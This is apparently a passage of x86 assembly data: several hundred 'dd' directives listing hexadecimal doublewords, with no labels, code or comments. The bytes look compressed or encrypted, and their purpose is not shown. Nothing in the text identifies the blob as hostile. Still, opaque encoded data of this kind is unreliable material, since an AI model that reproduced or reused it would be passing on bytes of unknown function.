4DF83E00h, 1A8BF9EEh dd 1401489Ch, 5FFCEBC0h, 4E2E88D0h, 504080E8h, 264AB86Bh dd 8420147Dh, 0E06656F1h, 0C9C94414h, 31B0E807h, 0ED100067h dd 0B8478A2Ah, 7B000ED5h, 0C2B40488h, 91D1142Eh, 0F8638030h dd 0CC82CD25h, 0F4579100h, 38D064BDh, 0F9600218h, 0EABA34B0h dd 6002844h, 844152B7h, 65152Fh, 54882E97h, 0F3EE76Ch dd 8C9CD770h, 0A60C0B80h, 0EB7F50EBh, 6071ECh, 0B19E8C19h dd 321642CEh, 0C380F89Ch, 5F61BFF9h, 24CF02F0h, 0AACDFA4Dh dd 0C8A8F8D2h, 220BFCFDh, 0E8D423A2h, 4F26Ch, 4F1A7354h dd 0AE319DFh, 5682421Dh, 1ED33802h, 0EB28C452h, 0B4A4D0h dd 9488265Bh, 28434661h, 0A92D8890h, 5928903Dh, 0A6800F2h dd 8F806946h, 4F3E2C8Bh, 0C7ED851Fh, 4003E862h, 883CD425h dd 254EAD21h, 10629484h, 8D16FC40h, 0C393CF02h, 90EA1A42h dd 4854018Ch, 3022D4FEh, 331E6DECh, 2840447Dh, 0A0B542E6h dd 0EC5000C3h, 170F0C11h, 4D255DF7h, 3FCCC421h, 0FC7216h dd 0F35B9F49h, 0A48B77CBh, 0C3ACDD4Ch, 8830BE4Bh, 3EBE50Fh dd 0B4710899h, 8AC865B2h, 130D8C76h, 312D42C9h, 0A7CCA08Fh dd 0D8C8518Bh, 0E2A09228h, 98F44A27h, 22301403h, 83A064A7h dd 31CEC840h, 71CA1718h, 1AA4C88Bh, 7DA4E100h, 3B9125D4h dd 0D2120E44h, 82A53695h, 0AA8820E6h, 14006C3Ah, 6A8199CAh dd 972C9021h, 80D4C013h, 2D5912B1h, 7ACFF300h, 6EC3D370h dd 47E45B9Bh, 702FDE54h, 6BFE828Ch, 8F257F0Eh, 8E14803Eh dd 2EB11E9Dh, 404807D1h, 9E748AB9h, 4A6B6E00h, 0FF5248Dh dd 0B7DE1866h, 0B3057921h, 0F1716A00h, 0FB124A7Ah, 96781EC3h dd 983882BBh, 6F43CE9Eh, 0F3EE8091h, 3E369BE8h, 0BC88A14Ah dd 61273ACDh, 0EEEF79FAh, 0ED2E0460h, 0F46A9AA9h, 20953084h dd 0D7584DE8h, 0A08D0188h, 2EFE3A49h, 0A99820B1h, 3115B730h dd 8FD52Dh, 0F40D8DF2h, 0B63ECFDBh, 175AE059h, 0EC2030AFh dd 0DA72BEh, 0CA70BD3Bh, 9890F28Dh, 2C691C00h, 3F6809EBh dd 0DB4518DCh, 0A47EB1AEh, 269ACE01h, 0FDAC31FAh, 0E0F8BBF7h dd 946F6C42h, 0B37640A4h, 7316B1E7h, 0F8049A3Fh, 5641E6A7h dd 32ED8C26h, 0F9FC1F1Ch, 8F214140h, 257C0Fh, 6D59C74h dd 4DD18280h, 0CCE322h, 0A98BAAEEh, 29586AD8h, 0D0824300h dd 1ACA6F3Fh, 0C8900107h, 263EEA9Bh, 0D3F4602Eh, 0AF82592Fh dd 8FE0E48h, 0BF5380B1h, 150E735Ah, 69B3AF03h, 0F07198CFh dd 0F838BBh, 0C95E9727h, 0E39A1AF6h, 7C52752Eh, 7BBA7F40h dd 0B80E0064h, 0CF31E426h, 58BCAF9Ah, 9C5493C0h, 2A5D0320h dd 3F351A67h, 16AF09F0h, 0CF237102h, 443042BFh, 0DA1D02B0h dd 4C699A90h, 40D0D22Fh, 6F6BB5h, 77D89576h, 0F02C5637h dd 4C1F73Ah, 84F16DA7h, 803D9FE1h, 0D7A91700h, 0D21F0F43h dd 1823C200h, 0A59FB6D3h, 26950046h, 0A747FD99h, 6486EA9h dd 90B3804Ch, 70BF8148h, 64563B21h, 87935E01h, 60ECC75Ah dd 821E3DD4h, 102D543Fh, 2C6A84h, 679A02E0h, 4EB7B5Dh dd 6498BE2Eh, 93884402h, 0E15840A1h, 127177B4h, 0B430A0C9h dd 550F443Ch, 406DCC88h, 99655A3Ah, 0E81E61E3h, 3060E7A9h dd 0BCF2D000h, 0C0D5222h, 530283A4h, 98A0F38Ah, 343D7AADh dd 0C25F87B4h, 8E31F44Dh, 4C39C83Bh, 20314470h, 0B733C107h dd 81002F3Ah, 0E9A41B79h, 9830D2C9h, 0BAED3030h, 0E49F0D10h dd 0CD393260h, 9647383h, 19D8EDBFh, 0BD5A0C30h, 5E803C00h dd 2F1790EFh, 9DEF22Bh, 97228598h, 38E8142Bh, 0FA026D6Fh dd 960CB927h, 0FC4444h, 5ECC8FE3h, 4099AB69h, 8EF8541Eh dd 350A2184h, 32BF2180h, 0A6CC0ED8h, 84009F8Ch, 0CEB4ED82h dd 0C918F21Ch, 86F19618h, 0A6401756h, 0C72A07D2h, 1F707D0h dd 3232D827h, 0CD730030h, 0E5603745h, 0D7E30046h, 9895D9B7h dd 0AF021756h, 4814F5CEh, 800056B4h, 2FB5B1E6h, 0DD58B8D0h dd 7B1F00C4h, 3B8CEA3Fh, 1AC446Dh, 88465Ch, 298413E4h dd 617C6h, 0F1D349BEh, 9230726Eh, 0A3071099h, 5B94A1EFh dd 0E1B92147h, 0F0D95C0Fh, 99001696h, 93CEDC72h, 27FD5AEh dd 6C1E611Fh, 0B459170Ah, 0C4741D0Eh, 30F29243h, 0F5473400h dd 449ED876h, 0E71F09E8h, 6D016217h, 481820C0h, 9D0D2DEh dd 3608C27h, 0B3D298C8h, 7E57DD00h, 0ED637222h, 0BBF40579h dd 14181B5Ch, 22718B4h, 0E8DBB091h, 9300770Fh, 0CCC67432h dd 350D728h, 0D41B1AAEh, 9AE0E012h, 610CF8B3h, 0C23C7794h dd 7B66027Ah, 7C0C2B0Eh, 0FFB37E0h, 6AF0800h, 4C25F68Fh dd 0D8F47Fh, 2FA0E55Dh, 18E60135h, 0CEB51216h, 252BD440h dd 48790B0h, 3B32E504h, 80F4B809h, 0A394E62Eh, 100B1CE7h dd 0CA3500EDh, 6B46A425h, 8586551Ch, 6C81C469h, 0BE6DB92Dh dd 3440C8D3h, 7A6F09BCh, 4CC490D6h, 116EEE07h, 600085DCh dd 21F667h, 904827F1h, 96E78DE2h, 0C5209E5Ch, 22C04031h dd 87980Ch, 8EA40B3Eh, 0D49A4721h, 304E5613h, 0E5EA1C81h dd 370E6CEh, 1076FCC4h, 8883AACEh, 304491B9h, 52162088h dd 34018179h, 30E499CBh, 0F18D3980h, 0AA5818A0h, 81BF9B3Bh dd 41CBC2F8h, 2E8216h, 2E13067Ch, 0A6001235h, 819F1D7Eh dd 12328041h, 0D0EC403Dh, 0E6E1DE10h, 18338900h, 0D969E975h dd 0E3E2C7h, 0D5C68C31h, 0AFB0BC9h, 0A014D124h, 18E29412h dd 0A301007Fh, 9C5C052Fh, 0BF06E730h, 0DE4819D2h, 90EC0061h dd 0CF09AA14h, 8F005DE3h dd 96C58B2Ch, 4CF4CEA9h, 2D0388F3h, 0B842CD20h, 0CACFE880h dd 78F3F6FCh, 26598468h, 0A0BF4BDh, 28C46C48h, 636EFA04h dd 0F8F2C2E2h, 0FB02E400h, 0CF20EE19h, 91C55602h, 444D937h dd 737B4084h, 13353089h, 88185C20h, 8200A42Ch, 568BE5D7h dd 7CA250B5h, 0C9C60019h, 28589B64h, 5D78A189h, 0DDB1FE16h dd 0EF94C830h, 3202004Bh, 7FC6C05Ch, 32E199CEh, 42AF00DCh dd 2643E1B6h, 0C9880F98h, 81B4E8EBh, 8C21E900h, 17F2DEEh dd 1D7CEC00h, 0E8BF8213h, 54AF5E9Bh, 0EDCF68E4h, 589E87A0h dd 750FFE9Fh, 0A5F70B90h, 64E20896h, 0DF200C00h, 8583FCEEh dd 7B5EFE00h, 0B95D76DDh, 44A600D9h, 0E2F82B3Dh, 0F7482C9Ah dd 222D00ABh, 63D55AF9h, 2B9202CAh, 8542C294h, 0C544447Eh dd 0C4412C32h, 7C4920EEh, 82A80658h, 0C2CBCF6Ch, 0F1F16196h dd 1F7743C4h, 426A734Eh, 5E066FE8h, 5D0184F8h, 410C8B93h dd 78732D3Ch, 8C10F92Fh, 1500D255h, 239FFC25h, 15A3FA0h dd 700B7B4Eh, 6B658B75h, 0A3C43420h, 7E910005h, 0CFF2C0A1h dd 0B41C695Ah, 0FCA8622Ah, 7A860124h, 0EC264800h, 13BB0804h dd 0F2450265h, 5EBD0080h, 0AC601EF8h, 0F4A706A6h, 0DA61A143h dd 0D372DC1Eh, 36B92080h, 39563515h, 2B3DCC0Ah, 2C9BC980h dd 9499CAF8h, 23C3B30Bh, 608C816h, 90BF02B6h, 0E32A43D6h dd 54805C56h, 0BB3DE44Eh, 0F5FFA14h, 0D43EBEC0h, 77FB6340h dd 3C0A9B95h, 0C001CC24h, 4B84D467h, 0A6CE18A0h, 1D7A3098h dd 1BD06020h, 0B8FCF105h, 0AC88EAEDh, 0CF052493h, 7C6600F5h dd 88B8840Eh, 8632D000h, 0F3260ACAh, 80589EEDh, 296B8769h dd 0EB005A68h, 0FA54C3BDh, 0E0CEF782h, 4E7509EDh, 2400DFE6h dd 0E9F45E97h, 3C89670Ah, 5C2CB803h, 0EB00CC11h, 9CA35F51h dd 0BD006C92h, 0C26F1CD4h, 5DAA7Dh, 799D1DDEh, 0D08FB707h dd 22A2E604h, 0BCCC96FFh, 0B4520014h, 0AFE2B6EEh, 180702A5h dd 7FFDDA60h, 0BC83E020h, 8047B09Fh, 0F06A9660h, 61E100E8h dd 5B6FA2ACh, 7300467Ch, 406B357Ah, 13C249B1h, 1138C99h dd 60DE4278h, 2541CCC9h, 0D3DAE700h, 0A1E2B554h, 0B4CA5846h dd 0B63BF4C1h, 77F010B0h, 0A7A312BDh, 0CDC42045h, 197335AEh dd 0E100A079h, 0D57DDE17h, 173837F4h, 851C8C83h, 15078278h dd 4A00D871h, 4B7C5A80h, 9D0B030h, 77B19BEFh, 8364A8h dd 0F4CC3DE1h, 0D099689Ah, 2742CB04h, 7B59CC8h, 15425C2h dd 99D2C1CAh, 860303Bh, 0C409CC27h, 72010188h, 0FBDFB029h dd 3D4FD434h, 7CBDC95Ch, 0A3752502h, 882C3F7Ah, 0F701EC2Ch dd 1239B47Eh, 3E41E830h, 245F7C1Dh, 384CB2F0h, 0AE598023h dd 25085BB1h, 768C0937h, 2471C579h, 8817B900h, 0A5FA57h dd 58A0CD16h, 95D16993h, 47B19A19h, 80223029h, 0BD910B07h dd 5023509Fh, 0C600596Ah, 37094C88h, 2AA18h, 48D480C4h dd 458F9A2Ch, 0A9145D03h, 0B073908h, 32358E20h, 590D0010h dd 0F41F6400h, 0A95E9454h, 978F0111h, 1CADF556h, 0ED2FD42Ch dd 3020B85Bh, 350FE3h, 0CDC6319Ch, 0E774D1FCh, 456EAC00h dd 0AAC77D1Ch, 0A4BE090Ah, 60E807D2h, 100B1D5h, 0E14A0503h dd 4901A65h, 6327ABCh, 4CB209h, 6DDE3568h, 0E60E60Fh, 965E64B9h dd 0CD14D317h, 3A52DAA8h, 162FBC00h, 26D8A67Eh, 3E4003F6h dd 38C06E18h, 6A06B617h, 287110C8h, 0A4DBDAh, 0EA9A040Bh dd 0F3CE9F26h, 2480B9Dh, 0A02A581Ch, 5C33D74h, 0B9E419h dd 0BDC179A1h, 0F380B8CBh, 33F8F50Fh, 4342060h, 2493B2AFh dd 40643053h, 8D79131Bh, 8887C42Eh, 0AF9A0903h, 5890844Fh dd 2751EA9Bh, 20E864h, 0BF296155h, 0D1253100h, 0BC65A0CBh dd 9E97F35h, 956AF9Ch, 0C097941Bh, 0B69D6ECh, 0D056A00h dd 36A946D4h, 4094B4B3h, 0CBCAFF82h, 0B2002F79h, 3B16F1C6h dd 5F435C1h, 5872F596h, 40FCF42Eh, 0C4CBBA09h, 64E465h dd 5A747875h, 89D1D31Bh, 91DCBE15h, 87C50010h, 334D140Fh dd 0C88902B1h, 0B445D981h, 3CF029h, 0A47982EAh, 2E5DD0FBh dd 90F7ED14h, 0E0A28E68h, 43D20AC0h, 7BC7E25Ch, 1199E60Fh dd 5A3D679Ah, 7A2DC0CCh, 6B75CBCh, 4278C801h, 3071FDBDh dd 0C1064584h, 59321AD6h, 0A9760031h, 0FD537B68h, 0D6E205A8h dd 2D0A5E04h, 14C21356h, 3B887A1Ah, 0BDBFAA3Dh, 38D0C982h dd 2461A146h, 3DB5D957h, 0E0058B0h, 0C08DB2D5h, 442C5B0Dh dd 0F37B00C2h, 1906AA78h, 6A27AFFEh, 504420E3h, 0FC2E3454h dd 0B0312D39h, 10ADB010h, 236E0503h, 0C0BFC8BAh, 1686F37Ah dd 5C9AD8h, 87E37806h, 0C4265984h, 43402045h, 17956052h dd 2D67AB5h, 3C941917h, 220E8CF1h, 0E85000AFh, 1FFAE2h dd 630B539Ah, 9D9849A2h, 9072AEAh, 0C3D2EACCh, 0C5687313h dd 4281BC01h, 47CABCBh, 12722F80h, 16003EC3h, 0C7F8B96Ah dd 1433E9E1h, 0A489BA4Ch, 0BD509701h, 6094A625h, 2616514Ch dd 183338F0h, 0AA5A9BD5h, 0BB8098D0h, 7B81F36h, 0F975401Bh dd 1996E5B5h, 0CC4D5839h, 181D82C0h, 8208C1FBh, 0F3C96110h dd 0C0BECD26h, 417EE441h, 9AD818F1h, 0BCC90BF1h, 0D400314Ah dd 0BACA898h, 0DC3383B7h, 0EA47A8B9h, 0E9CD1EBDh, 10D2C0B0h dd 59EE2BCFh, 3607FFECh, 99DF0784h, 545B2610h, 8908B158h dd 5C98C8A3h, 0AE09D3D8h, 399383h, 0FA4DA40h, 282E4C3Ch dd 0E48F3085h, 94940714h, 64971880h, 0A6D1DDh, 4202B901h dd 529217EAh, 141ABB3Eh, 7B8461FEh, 60718Ah, 461D17B4h dd 5E0AD56Bh, 0B87F42EFh, 401FCC09h, 3EE97050h, 0E03DD44h dd 92C95D69h, 8B4DD4A0h, 593C0700h, 8243A429h, 8E21282Bh dd 42891E94h, 6E25042Ah, 0B350C8D5h, 48F07100h, 51993FE9h dd 27580170h, 0D3AC0486h, 3E7031B1h, 0EEDDB820h, 0A94D60B7h dd 9693D02Ch, 3D0E8538h, 1C177FA5h, 78A3F15Dh, 5B31A70Eh dd 494FBAE3h, 924C80ACh, 0CCB9F689h, 62A72780h, 0B0767Eh dd 695D1391h, 0E6A1343Bh, 871A8C01h, 0FA323EAFh, 85D1A2F5h dd 1E464C48h, 4015DDC9h, 5DA69891h, 0F826D24Dh, 404068EDh dd 1B1E8A1h, 4CCA2F7Fh, 2C831C63h, 85039644h, 91D8CD91h dd 5C805711h, 9499B90Bh, 1A0035CCh, 1D50148Dh, 0A634BF9Ah dd 0DED700F4h, 4A234F7Ch, 6500A639h, 0EFE0C53Dh, 2D25902Fh dd 9804138h, 2C9B99E7h, 0ABFB931Dh, 0AC158A01h, 5C207A64h dd 761424E5h, 7CC025ACh, 0A5020B95h, 42F754Ch, 6C8448EDh dd 0E9502810h, 365E006Ch, 0E7CD1F39h, 0BA13ED1Eh, 88A2E315h dd 8E752300h, 48E542EEh, 0E4337B00h, 0FB346573h, 1326FAD3h dd 0F2BD3074h, 8091F68h, 0BA9E987h, 0A0C655B3h, 2DF0CCh dd 62DF0D20h, 2B7C7A06h, 70FBBB02h, 7EC8308Ah, 0E65C6080h dd 3D03B9F7h, 9035D7A7h, 679B89D2h, 331BEC72h, 66F0A134h dd 21057073h, 9B5B04B6h, 1D80ECE8h, 94221ADCh, 239FAF02h dd 0AE486C1Ch, 0B5D62010h, 1F89325h, 0A129D024h, 6EAF9BE9h dd 0D43A2437h, 4A798A80h, 12F67752h, 0D816C4h, 7118FF87h dd 0A212B12Dh, 8232F3Dh, 1E539089h, 2EB507D9h, 20BFC619h dd 0AAD29E74h, 6646012Fh, 683050ACh, 41B1021Ch, 0E1D9A99Ch dd 0BAFB1860h, 427FFD00h, 0C7B06CC3h, 748FA06Ah, 0A05B0112h dd 435308Bh, 10003A8Ch, 971D6BB1h, 0A2601F61h, 180A1833h dd 0FC063ED6h, 2AD78259h, 6090B778h, 34001595h, 9D6F95Eh dd 0F07D25h dd 0BF105586h, 8B9A8156h, 5A97263Ah, 211AD800h, 244C9435h dd 60E8A9B5h, 63C736B8h, 0DDD6BA0Bh, 1F54E486h, 1EEEC9D2h dd 990640E9h, 351FA23Ah, 19C9785Ch, 0D4294DCBh, 745E2Bh dd 0C11333F3h, 721F88CDh, 6930B19Ah, 12C5263h, 819B718Ch dd 2EF988BFh, 69073C09h, 0D930AFECh, 9A8000FBh, 0B1E9B577h dd 8614F1DCh, 80B8EDF4h, 94AF1ECEh, 0B4A90437h, 0B4E4889Ch dd 2D00C9D0h, 41CA59BAh, 1CCB53C5h, 0C0B42283h, 0BE3337C3h dd 0E901291Fh, 6D87D9BFh, 4763BF4h, 4EB73Ah, 72D1FEFBh dd 1930ED30h, 9AAD0874h, 6734BE68h, 0A5E9F043h, 1E056959h dd 48098B4Eh, 30D374B8h, 1281D08Ch, 5838700h, 8B6CC2D7h dd 85E3040Eh, 0BCA49A8Dh, 82B98188h, 0F520D0AEh, 0F020509h dd 0C830A2C9h, 0BC0E3580h, 0BFBB5D63h, 62B9BA80h, 44AD13h dd 0D8156AA6h, 0A5721CC8h, 3879580Bh, 6688086h, 2CD4E709h dd 0A5B4B53Fh, 3DA54420h, 0E624D6D3h, 3740B4E5h, 777D5885h dd 877A0155h, 3CD96175h, 80646C13h, 0FA1056F3h, 48060309h dd 69EA5FD2h, 622659C9h, 3B820A70h, 0CC2B07Fh, 0B4C407h dd 7FE0CB20h, 0E9AA1EB6h, 37D95900h, 326A8164h, 0CD1D09FFh dd 0E44409EDh, 7A3AC5FAh, 4A730086h, 715C7B21h, 3B1BFED2h dd 420922C1h, 0FCDA2C3Ch, 8340454Ch, 0D0980F5Ah, 3B8AB863h dd 0F4A5B7h, 2E70020Bh, 5E85FBD8h, 0EF0635EAh, 42C92F72h dd 40075EE9h, 513E9444h, 5EFE96FBh, 0CB09C6B0h, 59263C33h dd 0E80A94D4h, 0FCC1A04Ch, 143A45C3h, 0DAA57BC0h, 16B9001Ch dd 17B0295h, 1F176C36h, 820435Ch, 0AF1079h, 0D594D4ACh dd 0A42A64B0h, 139C1500h, 0ABF5F72Ch, 0A73C0131h, 0B9E31202h dd 87B86C56h, 0BCB0EE19h, 7674FAF4h, 0F09A073Fh, 0AD153F1h dd 7B71D68h, 2078586Eh, 68B97A36h, 0C60EA800h, 73677F93h dd 8B509451h, 948018A7h, 0A006CA28h, 0D70C21F4h, 798D3697h dd 673300BEh, 0C8E285F2h, 5100F04Fh, 0E55BE945h, 0FFAD36h dd 11D7BE03h, 15963068h, 614DD10Fh, 20A0EE84h, 32192F60h dd 54BA1C31h, 0FC8E001Bh, 0C93A6586h, 69CE9F00h, 0DF8FBCBh dd 0B796006Dh, 30A1FC01h, 0D8031821h, 6ACD72A7h, 50510099h dd 80C46ECFh, 9200F7CBh, 0D138C0A7h, 7158679h, 77D7A4B4h dd 3032D6EBh, 1B6EBF00h, 0A1262310h, 3C63FC47h, 86809011h dd 60AC147Dh, 3A7D159Ah, 8EFCD3B8h, 31694B00h, 0BFA20C8Fh dd 276D0033h, 0C243D9EEh, 760163AAh, 0A8D17787h, 99802069h dd 0FEF3395Bh, 0F47FC074h, 95B87000h, 0FF60C7E5h, 1F77544h dd 0D15814C5h, 83086150h, 8D6AC039h, 0DDC8B0EDh, 69E80314h dd 33BB4A70h, 7B3F2019h, 0DBF011D4h, 0E87532h, 75768723h dd 3B77B21Bh, 0CF09E9C0h, 354D78h, 0E6B74433h, 15FA7E21h dd 5C0087F8h, 3A4209EFh, 1F7F9Eh, 0A997AEAAh, 64CF0C80h dd 0E71CE50Ch, 0BA0F0B6h, 42BC2874h, 3BEB7880h, 250D45DAh dd 20BEFB20h, 18E67A60h, 0A9B8440Ch, 55312F70h, 6BA6409Fh dd 0BAC57040h, 0F56100BBh, 9AA1CB13h, 2179C9E1h, 72D45B00h dd 8FCE7986h, 0A6D17D14h, 0FAEC8Ch, 0C80959EFh, 8FCF4A60h dd 0A5C86F54h, 620E1BE6h, 866A26h, 0C823CC3Eh, 0B1670063h dd 42BD1AB8h, 80ED2225h, 0F4F940D1h, 0C9CA6Ah, 0BD026CBh dd 350CD8E4h, 0D4BFE700h, 0D1FEA7Fh, 50E20011h, 0A557D28Ah dd 0E5002C0Bh, 5E5B0501h, 84D316h, 0D287F431h, 8B6FBF95h dd 27290307h, 4570F0B0h, 1C18539Bh, 3DA4F5E5h, 653F18F7h dd 8AC3680Fh, 780052E6h, 1FBD0C1Eh, 0A3BE848h, 0F180D25Ch dd 890618C5h, 0CC508BAEh, 320127FAh, 0E2194B54h, 0D930C84Dh dd 0F34106F1h, 310BD798h, 2DBF39h, 0EB7274CEh, 9AA71Ch dd 0A6665849h, 0D0F0319Eh, 0BD8B2300h, 0F9549C36h, 0B1BF072Ch dd 0EFE57616h, 39520783h, 801FA83Ah, 1E262D6Fh, 22499Ch dd 0CD65C784h, 0FA8CD807h, 0A8BFE600h, 7CE3F243h, 3DB10C73h dd 4BE96642h, 6FE22801h, 9F30CD86h, 0FE84C20h, 4133D6BFh dd 0B1ADA20h, 810002B5h, 0B68F28D2h, 3135D96Bh, 4380345Bh dd 4725FC68h, 0F92CB00Fh, 0A0146015h, 1C096D7h, 0D13DBF70h dd 203BAA37h, 24788E62h, 4B8F9000h, 8AAEB006h, 1D0E0085h dd 0EE6A2C2Ah, 23009D29h, 352DF955h, 0ADF1C6h, 189B434Bh dd 0F7FF6A97h, 2892B402h, 0A51C6CDAh, 0B020D684h, 114C6A5h dd 0EC2645E4h, 0DCB2DDFDh, 8506D1D6h, 0EF9B1D03h, 45350028h dd 1147D767h, 1603066Bh, 1849ABF7h, 7A211DD9h, 0E5C14065h dd 9E84ACB3h, 584F7800h, 24B03C2Fh, 8F66035Eh, 263D42C0h dd 3EEA8900h, 9F45F609h, 44080185h, 0A2CF1BF9h, 3AA1BE84h dd 9B6A0028h, 2D72192Bh, 0E8B318B4h, 0FA0D4030h, 44043100h dd 2549A52Ah, 1E613018h, 0B34CD690h, 0B5004375h, 6C3A3026h dd 7B4D6647h, 6B0B007Dh, 538CDD3Fh, 9A00CC23h, 0F40E761Ch dd 0E5E56AF5h, 45EC77F1h, 0D8241136h, 7B95030Bh, 98F92FFBh dd 0DC90CAh, 6818056Ch, 8865249h, 0E71D8BF6h, 0B1076A9Eh dd 8F80CC20h, 2EA88Ah, 65313099h, 26CF45C8h, 1D3BAFE8h dd 618230F3h, 94AA7Dh, 8932BB3Ah, 0D14FAFC0h, 0E0A1B17Eh dd 88060839h, 13078F89h, 0ED647260h, 0CC9FA553h, 8A34CBC1h dd 18E7D0C8h, 31FAADB4h, 20016BD5h, 0B19167F2h, 19928C2Ah dd 1BCB0235h, 0EC444381h, 5262FD00h, 463F2E13h, 964201F3h dd 38EDDDA5h, 22E07F3Ah, 0FB310CFDh, 4E4907CEh, 0DC00FA71h dd 39D0B656h, 1729E2Bh, 0AC444680h, 602345FDh, 43376B94h dd 370069D0h, 7BF73281h, 44DB004Ah, 3982270Ch, 0F53B0AB8h dd 2410CC41h, 0A4CEA46Ah, 6C81AE11h, 80081EA0h, 102088h dd 0F84481BDh, 8250748Bh, 23ADD309h, 0A0102E64h, 55FA0642h dd 18AFF492h, 49053D3Fh, 1124CD7Dh, 9700DDC0h, 0D8C4E57Eh dd 4CCB005Dh, 2B1E8DDDh, 540F81D4h, 0B73C9Bh, 9A516BD2h dd 0E49080h, 69AE47CDh, 49ED88EEh, 2D9B4600h, 851DBF6Dh dd 31A324B2h, 2CB58760h, 0D8AE2208h, 1D44C4A3h, 1BE70801h dd 8EE4A396h, 4CCA69F4h, 510070F4h, 76B88F8Ch, 7A522AACh dd 3CDA01E0h, 3FE12ECCh, 0E7002823h, 0B02FA653h, 0D000C2B4h dd 16808373h, 40DB42B3h, 95014F0Ch, 106F4EE9h, 0E0DCCC8Dh dd 81120071h, 0FB9F193h, 2900BA94h, 0BC14C016h, 88F92D97h dd 7000BD35h, 6A51A0FAh, 0E0850729h, 918B044h, 0D34241BAh dd 0C0B68401h, 0F3EAD037h, 0B42E3D2Ah, 31114500h, 7A1228A2h dd 7C73031Dh, 0D1D879A9h, 0FA3676D0h, 0A9EC6C30h, 1B98F81h dd 0FB1E6F8Dh, 232AE4BBh, 8ECF00F8h, 3F2CA828h, 181F7140h dd 0A9AACEEEh, 0FC03C564h, 0BD82BA6Fh, 2AD6F028h, 756709D9h dd 64019983h, 1080CEF8h, 708FE23h, 0E648E7BCh, 9E6BAE27h dd 0BD418C0Eh, 4055F5BFh, 336C53C4h, 20F9AF1Eh, 0CBC0B100h dd 57DBE08Bh, 4C00F468h, 0A42A45D1h, 8C102BE4h, 3F242014h dd 0EEAB4384h, 26D67498h, 0FEE27EFCh, 5F6C3B26h, 291B6600h dd 26CBCFE4h, 4F00D821h, 39C17EC0h, 0BF76FCAEh, 0B9847316h dd 0A81F5B13h, 0D4E6174Ah, 41124E80h, 7DD4892h, 0C9160110h dd 8E33D060h, 0CB0C652Dh, 0B12FE8B2h, 0E9592AFAh, 749048BCh dd 333421Ch, 0D626C0CDh, 3451A180h, 6A05E4A8h, 0E5AF51Eh dd 0DC69944Eh, 0D6CCD41Eh, 0B2A97Ch, 2F3DE24Ch, 1875D002h dd 5599DD60h, 1E48BC1h dd 0BD479DA6h, 225AA0D9h, 867314F4h, 7B22E4h, 0B1C30490h dd 47520C8Ch, 49DC1830h, 0EE644227h, 437008Dh, 0C6E39FD9h dd 0B20040D2h, 237E15E0h, 2CBD0AFh, 603B0670h, 0B460789Bh dd 0E602D8DFh, 82C569C9h, 0F8C443h, 98784C5Ch, 0CBDFD7D2h dd 0E27B8A00h, 577EF9C2h, 0B71B0050h, 1EC012E1h, 0DD5C3522h dd 0A6AA0016h, 48CBDA79h, 89413E38h, 0A9B4C65Eh, 26FA671Dh dd 4011E35Ah, 983D92D0h, 0D177A01Ch, 9821008Bh, 5FF6327Ch dd 1F543C8Ah, 0F100FDB4h, 0F2BC6A81h, 23083FAh, 0E56955DBh dd 0E8444432h, 0BEC36C00h, 65FDCC34h, 0F88300D2h, 0F97BFCDCh dd 0F700707Ch, 80345385h, 90D75C63h, 411D16ACh, 0F2370107h dd 437FD16Ah, 790535A1h, 0CF442FADh, 1218C40h, 0B5DEB78Eh dd 39740E80h, 0D912E238h, 800743E9h, 2773B9B1h, 0D541151Dh dd 2526E077h, 19C101CAh, 0F4099185h, 70A052F2h, 0AF7EFA2Ch dd 0A3F11400h, 8705181Ah, 0A3C78A0h, 9F744D9h, 45F40194h dd 803151B9h, 99EF4739h, 5B3E0CCh, 0C2AE6E3Eh, 8D9CC0D4h dd 0E9005ED2h, 5489CB46h, 149AC62Ah, 98433EAFh, 9988A280h dd 6005D21h, 0F0691041h, 52E825h, 2FBBECE4h, 70C89A35h dd 0F69B0901h, 0DF18A075h, 4E9DE050h, 0B6B5001Dh, 85FC7277h dd 0FA153F17h, 199863E2h, 5DA92C47h, 2ED588F0h, 0F24E3Ah dd 0A5E944EDh, 4F0E93D4h, 0A5B8D7BCh, 70C8ADCEh, 29D92C0Ah dd 0B42A607Ch, 0D4765CCFh, 71C1F160h, 0E0E3EF4Bh, 6E8B32Ch dd 1175D722h, 0F3420700h, 0A72E04DAh, 6DBA05CBh, 8CD74739h dd 110006C4h, 0A74D8DD8h, 2E58793Ch, 35661FBh, 0C5334FE8h dd 0F4872A91h, 3098F44Dh, 302064D2h, 187393D5h, 0F2832EC6h dd 9F58ADF3h, 0A9100E8Ch, 9A1780E2h, 4C7B990Ch, 0FD87CCD7h dd 0B640007Ch, 0B900CF20h, 4F61497Dh, 0E24A1CA3h, 2A8524F4h dd 24723E39h, 81C720h, 5732D2B2h, 2499238Dh, 0BEDA6403h dd 3882CC85h, 4418220Bh, 905639C0h, 78805700h, 0D1D6C014h dd 0DEF8006Bh, 45BED4CEh, 3500E8F9h, 7CAEE3BFh, 7132D005h dd 0C5710047h, 86AC6A41h, 1369D468h, 77A08059h, 108563h dd 0C7F5DFC8h, 0FBFB023h, 0CA656100h, 0D29503A3h, 0DC8B3033h dd 3B385370h, 5C528C90h, 0F09B00E8h, 59FD403Ch, 52C4A8CEh dd 189223h, 0BB2A5C30h, 81EFA84h, 434BDB0Ch, 0EAFB29A7h dd 97BA00EFh, 369D687Dh, 433C1647h, 49F901C4h, 0C0922F6Ah dd 0F89E1BF0h, 0CB39C0B4h, 0DB8A7206h, 715C660Fh, 67BE479Dh dd 30BC2EB0h, 2A2D0090h, 8461EDF3h, 0B07C1B29h, 0E7196B2Eh dd 0AFCFD401h, 0BC646223h, 3DB100A6h, 0A39A9347h, 0C6133F68h dd 0B400D93Ah, 0A9F0C7DFh, 0E49F5002h, 1CB0B1D2h, 79084083h dd 0A3571EEBh, 1A0FD37Eh, 604DB03Fh, 6AFA505Ch, 9F230ACAh dd 1DA0E0C4h, 43028BE7h, 58189090h, 486D5D00h, 8804C21Bh dd 7E283FB1h, 690ECF98h, 0FA00F497h, 0E390E1C0h, 0CE4A17h dd 70FF14A4h, 0DC8AC36Eh, 0D24CE801h, 0D55D5E85h, 0CC40F6D1h dd 749F033Bh, 0AECF16F9h, 6A8C2232h, 9C4312h, 27911C0h dd 622D9817h, 32CF2C3Eh, 9018810Ch, 0E0C78394h, 70820223h dd 0B343D0A9h, 0C4C8C8A0h, 0C300CA5Ch, 8290AC19h, 0F30579h dd 1DFD2BD5h, 0D7D83EFAh, 1A089761h, 7C8080ADh, 0EFB6A707h dd 0AF3D0269h, 66A48E9Eh, 0C387005Fh, 1C8C3ADEh, 4068831Ah dd 0DA89E772h, 9518FC11h, 7A5948BFh, 0AAD20CE4h, 676930E5h dd 0CFED3D00h, 1378316Ah, 